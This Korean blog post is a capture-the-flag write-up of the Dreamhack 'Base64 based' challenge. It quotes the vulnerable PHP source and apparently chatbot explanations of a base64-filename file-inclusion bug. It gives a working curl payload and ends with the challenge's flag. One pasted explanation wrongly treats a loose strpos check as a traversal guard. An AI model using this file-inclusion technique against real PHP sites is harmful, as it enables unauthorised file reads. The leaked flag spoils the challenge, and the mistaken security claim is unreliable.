Dreamhack/Dreamhack Wargame (Challenge)

[162] IT 비전공자 [dreamhack] Base64 based문제풀기

imaginefuture-1 2025. 2. 21. 19:44

 

헤엑 3분만에 푸신분 계심;; ㄷㄷ 이거 닷핵 예선전 문제!!

 

 

https://melonbbang-ruffy.tistory.com/65

 

[Dreamhack] Base64 based

https://dreamhack.io/wargame/challenges/1785 Base64 basedDescription Read flag.php to get the flag.dreamhack.io플래그를 알기 위해선 모종의 방법으로 flag.php 파일을 읽어와야 하는 문제일단 웹 사이트에 들어가보면이런

melonbbang-ruffy.tistory.com

 

 

dockerfile과 풀이글 기반으로 정답 유추하는 과정

 dockerfile은 환경설정 파일이라서 아예 힌트를 준다!로 생각해서 이것만으로도 취약점을 추측할 수 있다하셨다!

더보기

🔥 Dockerfile과 힌트 기반으로 정답을 유추하는 과정


1️⃣ Dockerfile 분석

FROM php:7.4-apache

COPY ./deploy/run.sh /usr/sbin/ 
RUN chmod +x /usr/sbin/run.sh

COPY ./deploy/src /var/www/html
COPY ./deploy/flag /flag

EXPOSE 80
CMD ["/usr/sbin/run.sh"]

이 Dockerfile을 보면 다음과 같은 중요한 정보를 얻을 수 있어.

📌 1. PHP 7.4 + Apache 웹 서버가 실행됨

FROM php:7.4-apache
EXPOSE 80
  • PHP 7.4와 Apache가 함께 실행되는 환경.
  • 즉, 웹 서버에서 PHP 코드가 실행됨.

📌 2. 웹 루트가 /var/www/html

COPY ./deploy/src /var/www/html
  • ./deploy/src 폴더가 웹 루트(/var/www/html/)로 복사됨.
  • 즉, 웹에서 http://target.com/index.php와 같은 파일이 접근 가능함.

📌 3. 플래그가 /flag 경로에 있음

COPY ./deploy/flag /flag
  • 플래그는 /flag 파일 안에 존재하지만, 웹 루트가 아니므로 직접 접근 불가능.

2️⃣ 힌트 분석

현재 동일한 디렉토리에 flag.php 파일이 존재하는 것을 확인할 수 있다.

만약 ./flag.php 로 상대경로를 입력하더라도, 동일한 디렉토리에 파일이 위치하기 때문에 flag.php 파일이 불러와 질 것이라고 예상해 볼 수 있을 듯 하다.

📌 힌트에서 얻을 수 있는 정보

  1. 현재 웹 루트(/var/www/html/)에 flag.php가 존재함.
    • 즉, index.php가 있는 디렉토리에 flag.php도 있음.
  2. ./flag.php 경로로 불러올 수 있음.
    • 즉, index.php에서 require_once() 같은 코드로 flag.php를 불러올 가능성이 큼.

3️⃣ index.php 코드와 LFI(Local File Inclusion) 취약점 분석

$decodedFileName = base64_decode($encodedFileName);
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;

if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
    echo "<p>Including file: <strong>$decodedFileName</strong></p>";
    echo "<div>";
    require_once($decodedFileName);
    echo "</div>";
} else {
    echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}

📌 LFI 공격이 가능한 이유

  • $_GET['file']이 Base64 디코딩된 후, 해당 파일을 require_once()로 포함함.
  • file_exists()와 realpath() 검사만 통과하면 어떤 파일이든 실행 가능.

📌 힌트와 결합하여 정리

  • flag.php가 현재 디렉토리에 존재.
  • ./flag.php도 허용됨.
  • 즉, Base64 인코딩된 ./flag.php를 file 파라미터로 전달하면 실행 가능!

🚀 최종 공격 페이로드

1️⃣ ./flag.php를 Base64 인코딩

echo -n "./flag.php" | base64

✅ 출력값:

Li9mbGFnLnBocA==

2️⃣ 공격 실행

curl "http://target.com/index.php?file=Li9mbGFnLnBocA=="

예상 결과

  1. index.php에서 base64_decode($_GET['file']) 실행 → ./flag.php
  2. file_exists() 체크 통과
  3. require_once("./flag.php") 실행
  4. flag.php 내부의 file_get_contents('/flag') 실행
  5. /flag 파일의 내용(플래그) 출력 🎉

🔥 Dockerfile + 힌트를 이용해 정답을 유추하는 과정 요약

1️⃣ Dockerfile 분석

  • 웹 루트(/var/www/html/)에 index.php, flag.php 같은 PHP 파일이 있음.
  • /flag 파일은 직접 접근 불가능.

2️⃣ 힌트 분석

  • flag.php가 현재 디렉토리에 있음.
  • ./flag.php로 접근 가능.

3️⃣ LFI 취약점 분석

  • index.php에서 Base64 디코딩 후 require_once()로 파일을 포함함.
  • Base64 인코딩된 ./flag.php를 전달하면 실행 가능.

4️⃣ 공격 실행

  • file=Li9mbGFnLnBocA== 로 요청하여 flag.php를 실행하면 /flag 파일의 내용을 얻을 수 있음.

🚀 이제 직접 실행해서 플래그를 찾아봐! 😎🔥

 

 

 

index.php 소스코드

 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Loader</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            margin: 0;
            padding: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }
        .container {
            background-color: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #333;
        }
        p {
            color: #555;
        }
        .error {
            color: red;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>File Content Viewer</h1>
        <?php
        
        define('ALLOW_INCLUDE', true);

        if (isset($_GET['file'])) {
            $encodedFileName = $_GET['file'];
            if (stripos($encodedFileName, "Li4v") !== false){
                echo "<p class='error'>Error: Not allowed ../.</p>";
                exit(0);
            }
            if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
                echo "<p class='error'>Error: Not allowed flag.</p>";
                exit(0);
            }
            $decodedFileName = base64_decode($encodedFileName);

            $filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;

            if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
                echo "<p>Including file: <strong>$decodedFileName</strong></p>";
                echo "<div>";
                require_once($decodedFileName);
                echo "</div>";
            } else {
                echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
            }
        } else {
            echo "<p class='error'>No file parameter provided.</p>";
        }
        ?>
    </div>
</body>
</html>

 

hello.php 파일

 

<?php echo 'This is Base64 world'?>

 

flag.php 파일

 

<?php 

if (!defined('ALLOW_INCLUDE')) {
    http_response_code(403);
    exit('Direct access is not allowed.');
} else {
    $file = file_get_contents('/flag');
    echo trim($file); 
}


?>

막히는 모습

 

 

 

index.pho소스코드를 자세히보자면

  define('ALLOW_INCLUDE', true);

        if (isset($_GET['file'])) {
            $encodedFileName = $_GET['file'];
            if (stripos($encodedFileName, "Li4v") !== false){
                echo "<p class='error'>Error: Not allowed ../.</p>";
                exit(0);
            }
            if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
                echo "<p class='error'>Error: Not allowed flag.</p>";
                exit(0);
            }

 

"Li4v" (../의 Base64) → 디렉터리 이동 차단  

"ZmxhZ" (flag의 Base64) → "flag" 포함된 요청 차단

"aHA=" (php의 Base64) → "php" 포함된 요청 차단

            $decodedFileName = base64_decode($encodedFileName);

            $filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;

            if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
                echo "<p>Including file: <strong>$decodedFileName</strong></p>";
                echo "<div>";
                require_once($decodedFileName);
                echo "</div>";

 

 

내가 소스코드 이해한게 맞아? 사용자가 get 'file' 입력한 파일은 encodedFileName에 저장되고 그게 base64로 디코드해서 그게 파일 경로랑 진짜 경로랑 일치해야한다

 

 

 

 

네! 소스코드를 이해한 방식이 맞아! 👍
좀 더 정리해서 설명해줄게.


🚀 index.php 코드 동작 방식

$decodedFileName = base64_decode($_GET['file']);  // ① GET 'file' 값(Base64)을 디코딩
$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;  // ② 파일 경로 생성

if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath), __DIR__) == 0) {
    echo "<p>Including file: <strong>$decodedFileName</strong></p>";
    echo "<div>";
    require_once($decodedFileName);  // ③ 파일 포함 및 실행
    echo "</div>";
} else {
    echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
}

🛠 코드 분석

1️⃣ 사용자가 GET 요청으로 file 값을 입력함.

http://target.com/index.php?file=Base64_인코딩된_파일명

예를 들어, flag.php를 요청하려면 "flag.php"를 Base64 인코딩해서 전송.

2️⃣ 입력된 값(Base64)을 디코딩해서 $decodedFileName에 저장함.

$decodedFileName = base64_decode($_GET['file']);

예시:

base64_decode("ZmxhZy5waHA=") // 결과: "flag.php"

3️⃣ 디코딩된 파일명을 기반으로 파일 경로를 생성.

$filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;

📌 __DIR__ → 현재 PHP 파일(index.php)이 있는 디렉토리 경로.
예를 들어 index.php가 /var/www/html/index.php에 있다면:

$filePath = "/var/www/html/flag.php";

4️⃣ 파일이 존재하고, realpath($filePath)가 __DIR__ 안에 있는지 확인.

if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath), __DIR__) == 0)

📌 이 부분이 중요한 보안 체크!

  • file_exists($filePath) → 파일이 실제로 존재해야 함.
  • realpath($filePath) → 실제 파일 경로가 웹 루트(/var/www/html/) 내에 있어야 함.
  • strpos(realpath($filePath), __DIR__) == 0 → 웹 루트 밖의 파일 접근 차단.
    • 즉, ../flag 같은 경로 우회 공격(Directory Traversal)을 막음.

5️⃣ 조건을 통과하면 require_once($decodedFileName) 실행!

require_once($decodedFileName);
  • flag.php가 실행되면 내부에서 /flag 파일을 읽고 출력.

🎯 정리 (너가 이해한 게 맞아!)

  1. 사용자가 GET 요청으로 Base64 인코딩된 파일명을 입력.
  2. PHP에서 Base64 디코딩 후 $decodedFileName에 저장.
  3. 해당 파일이 현재 디렉토리(/var/www/html/)에 존재해야 함.
  4. realpath() 검사를 통과해야 실행 가능.
  5. 최종적으로 require_once($decodedFileName)로 파일을 실행!

즉, Base64 인코딩된 "./flag.php"를 보내면 flag.php가 실행되면서 /flag 파일의 내용이 출력될 것! 🚀


🔥 공격 페이로드 다시 확인

📌 ./flag.php를 Base64로 인코딩

echo -n "./flag.php" | base64

✅ 결과:

Li9mbGFnLnBocA==

📌 curl로 공격 실행

curl "http://target.com/index.php?file=Li9mbGFnLnBocA=="

🎯 이제 실행해서 플래그 찾아봐! 😎🔥

 

 

 

DH{We1c0me_t0_Ba5e64:HfDq4UQDSWCh0hrv9YYtXA==}